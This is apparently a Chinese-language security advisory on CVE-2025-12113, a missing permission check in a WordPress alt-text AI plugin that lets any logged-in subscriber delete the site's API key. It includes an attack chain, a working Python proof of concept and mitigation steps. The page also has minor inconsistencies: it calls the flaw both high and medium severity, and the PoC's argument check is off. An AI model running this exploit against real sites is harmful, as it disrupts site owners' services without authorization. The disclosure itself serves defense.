IPBUF安全漏洞报告
English
CVE-2025-12113 CVSS 4.3 中危

CVE-2025-12113 WordPress Alt Text Generator AI插件未授权API密钥删除漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-12113
漏洞类型
未授权访问/越权操作
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Alt Text Generator AI – Auto Generate & Bulk Update Alt Texts For Images plugin for WordPress

相关标签

CVE-2025-12113WordPress插件漏洞未授权访问越权操作IDORBroken Access ControlAlt Text Generator AIAPI密钥删除OWASP A01WordPress安全

漏洞概述

CVE-2025-12113是WordPress插件Alt Text Generator AI的一个高危安全漏洞。该插件用于自动生成和批量更新图片的Alt文本,在1.8.3及之前所有版本中存在未授权访问漏洞。漏洞根本原因是atgai_delete_api_key()函数缺少权限检查,导致任何已认证用户(即使只有Subscriber最低权限)都能调用该函数删除站点配置的AI服务API密钥。此漏洞可能导致网站AI功能完全失效,攻击者可利用此漏洞破坏网站功能,造成拒绝服务。攻击者利用门槛极低,无需特殊权限或复杂技术手段,只需拥有任意级别账号即可实施攻击。该漏洞CVSS评分4.3,属于中等严重程度,但实际影响可能被低估,因为删除API密钥可能导致依赖该插件的网站业务中断。

技术细节

该漏洞属于WordPress插件安全中的典型未授权功能调用问题。插件在实现atgai_delete_api_key()函数时,未进行current_user_can()等权限验证,直接处理用户请求删除API密钥。在WordPress权限模型中,delete_users等敏感操作通常需要manage_options权限,但该函数对所有已认证用户开放。攻击者只需构造HTTP POST请求,指定删除API密钥的操作,即可在未验证权限的情况下执行删除操作。漏洞利用条件:攻击者需持有WordPress站点任意级别账号(Subscriber及以上),然后直接调用相关AJAX端点或admin-post处理逻辑。由于是数据删除操作,攻击成功后无法通过技术手段恢复,只能由管理员重新配置API密钥。该漏洞暴露了插件开发中常见的缺失权限检查问题,属于OWASP Top 10中的A01:2021 Broken Access Control类别。

攻击链分析

STEP 1
1
攻击者获取WordPress站点任意账号(Subscriber权限即可),或使用已有账户登录
STEP 2
2
构造HTTP POST请求到wp-admin/admin-ajax.php,包含action=atgai_delete_api_key参数
STEP 3
3
由于插件未验证current_user_can(),请求直接被处理,站点API密钥被删除
STEP 4
4
攻击成功,网站AI图片Alt文本生成功能失效,管理员需重新配置API密钥

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12113 PoC - Unauthorized API Key Deletion # Affected: Alt Text Generator AI plugin <= 1.8.3 def exploit(target_url, username, password): """Exploit missing authorization in atgai_delete_api_key() function""" # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Delete API key via AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'atgai_delete_api_key', 'nonce': '' # May not require nonce due to missing check } resp = session.post(ajax_url, data=exploit_data) if resp.status_code == 200: print("[+] API Key deletion request sent") print(f"[+] Response: {resp.text}") return True else: print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

Alt Text Generator AI plugin <= 1.8.3 (所有版本)

防御指南

临时缓解措施
立即升级Alt Text Generator AI插件到1.8.4或更高版本;在更新前可临时禁用该插件;限制新用户注册功能防止攻击者获取Subscriber账号;启用Web应用防火墙(WAF)监控异常API调用行为;审计现有用户列表,移除不必要的低权限账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表